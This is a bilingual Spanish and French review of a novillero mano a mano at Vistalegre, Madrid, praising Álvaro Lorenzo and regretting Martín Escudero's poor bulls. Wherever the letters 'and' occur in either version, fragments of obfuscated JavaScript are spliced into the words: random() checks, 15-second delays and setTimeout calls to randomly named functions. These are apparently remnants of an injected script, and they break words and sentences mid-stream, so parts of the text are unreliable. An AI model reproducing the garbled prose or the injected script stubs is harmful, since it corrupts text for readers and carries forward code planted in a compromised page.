LA CARA DE ÁLVARO LORENZO Y LA CRUZ DE MARTIN ESCUDEROLA MEDAILLE POUR ALVARO LORENZO ET SON REVERS POUR MARTIN ESCUDERO

En la plaza de Vistalegre (Madrid) se anunció un mano a mano entre dos novilleros prometedores: Martín Escudero y Álvaro Lorenzo. La afición respondió y, además, los precios eran populares. Yo calculé unos nueve mil espectadores. Hasta aquí, todo bien. Menos encomiable fue que cada novillero llevara sus toros, porque el duelo se tornó desigual. Al de Galapagar le correspondieron tres alimañas y al toledano tres dijes. O sea, tres ratas rabiosas de la desconocida ganadería de Guadajira y tres bravos novillos de Domingo Hernández. Inexplicable si se tiene en cuenta que López Caparrós, apoderado de Martín Escudero, organizaba el espectáculo, y explicable si se subraya que la casa Lozano apodera a Álvaro Lorenzo.

Pero ni el menor reproche se puede hacer a este último, un novillero excepcional, que toreó de maravilla con el capote -excelsas verónicas y chicuelinas con el campás abierto, deliciosos remates- y con la muleta -extraordinarias series de naturales y redondos y bellísimos pases de pecho-. En efecto, estuvo muy por encima de sus boyantes novillos. Con el estoque es otro cantar: mató rápido pero mal. Excusable: ya aprenderá. Cortó cinco merecidas orejas. Aquí hay torero, y de los caros.

Martín Escudero se dejó crudos en varas a sus tres geniudos enemigos. Honradez y torpeza. Con la muleta aguantó gañafones, hachazos, botes y rebotes. Una pena, tan antipáticos mimbres para un novillero tan prometedor. Mató bien y cortó dos orejitas. Hay que verle con mejor ganado.

Conclusión para Álvaro Lorenzo: cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las cosas se hacen bien pueden salir bien. Pero a Lorenzo le salieron mucho mejor de lo previsto, incluso con el buen lote que sorteó.

Conclusión para Martín Ecudero: cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las cosas se hacen mal suelen salir peor. Pero Martín tuvo el mérito de estar por encima de sus infames oponentes.

Última observación: la música, en el cubierto coso de Vistalegre, sonaba tan fuerte que inhibía los oles del público. La comunicación entre el ruedo y el tendido fue mucho mayor cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda paraba y sólo se oían los oles acompañandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la música callada del toreo.

fotos Bruno Lasnier (Samadet 2014)

TARDE08 TARDE11

 

Dans les arènes de Vista Alegre (Madrid) on annonçait un mano a mano entre deux novilleros prometteurs : Martín Escudero et Alvaro Lorenzo. L’aficion répondit présente, et d’ailleurs, les prix étaient populaires. J’ai calculé à peu près neuf mille spectateurs. Jusque là, tout va bien. Moins digne d’éloge fut que chaque novillero amène ses toros, car le duel n’était plus égal. Celui de Galapagar eut trois vermines pour adversaires et celui de Tolède trois bijoux. Autrement dit, trois rats enragés de l’élevage inconnu de Guadajira et trois braves novillos de Domingo Hernández. Incompréhensible, si l’on pense que l’apoderado de Martín Escudero, López Escudero, était aussi l’organisateur du spectacle, et ça s’explique aussi quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and l’on remarque que c’est la maison Lozano qui est derrière Alvaro Lorenzo.

Je n’ai pas le moindre reproche à faire à ce dernier, un novillero exceptionnel, qui toréa à merveille à la cape –exquises véroniques et chicuelinas jambes écartées, délicieuses conclusions de passes- et avec la muleta –extraordinaires séries de naturelles et redondos et magnifiques passes de poitrine-. En effet, il fut très supérieur de ses vivaces novillos. Avec l’épée, c’est une autre histoire : il tua vite mais mal. Excusable : il apprendra. Il coupa cinq oreilles méritées. Il est promis à un bel avenir.

Martín Escudero ne fit pratiquement pas piquer ses trois âpres adversaires. Preuve de son honnêteté mais aussi de sa maladresse. Muleta en main, il subit de violents coups de tête, de-ci de-là, sans interruption. Dommage qu’un novillero aussi prometteur n’ait pas de matière pour s’exprimer. Il tua bien et coupa deux oreillettes. Il faut le voir avec de meilleurs élevages.

Conclusion pour Alvaro Lorenzo : quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on fait bien les choses, ça peut bien se passer. Il s’en sortit encore mieux que prévu, même devant le bon lot qui lui échut.

Conclusion pour Martín Escudero : quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on fait mal les choses, ça peut encore sortir pire. Mais Martín eut le mérite d’être au-dessus de ses infâmes opposants.

Dernière observation : la musique, dans les arènes couvertes de Vista Alegre, résonnait si fort qu’elle inhibait les olé du public. La communication entre la piste et les gradins fut bien plus forte quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and la bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda s’arrêtait de jouer et qu’on n’entendait que les olés qui accompagnaient la musique silencieuse du toreo.

 

fotos Bruno Lasnier (Samadet 2014)

TARDE08TARDE11

 

Los comentarios están cerrados.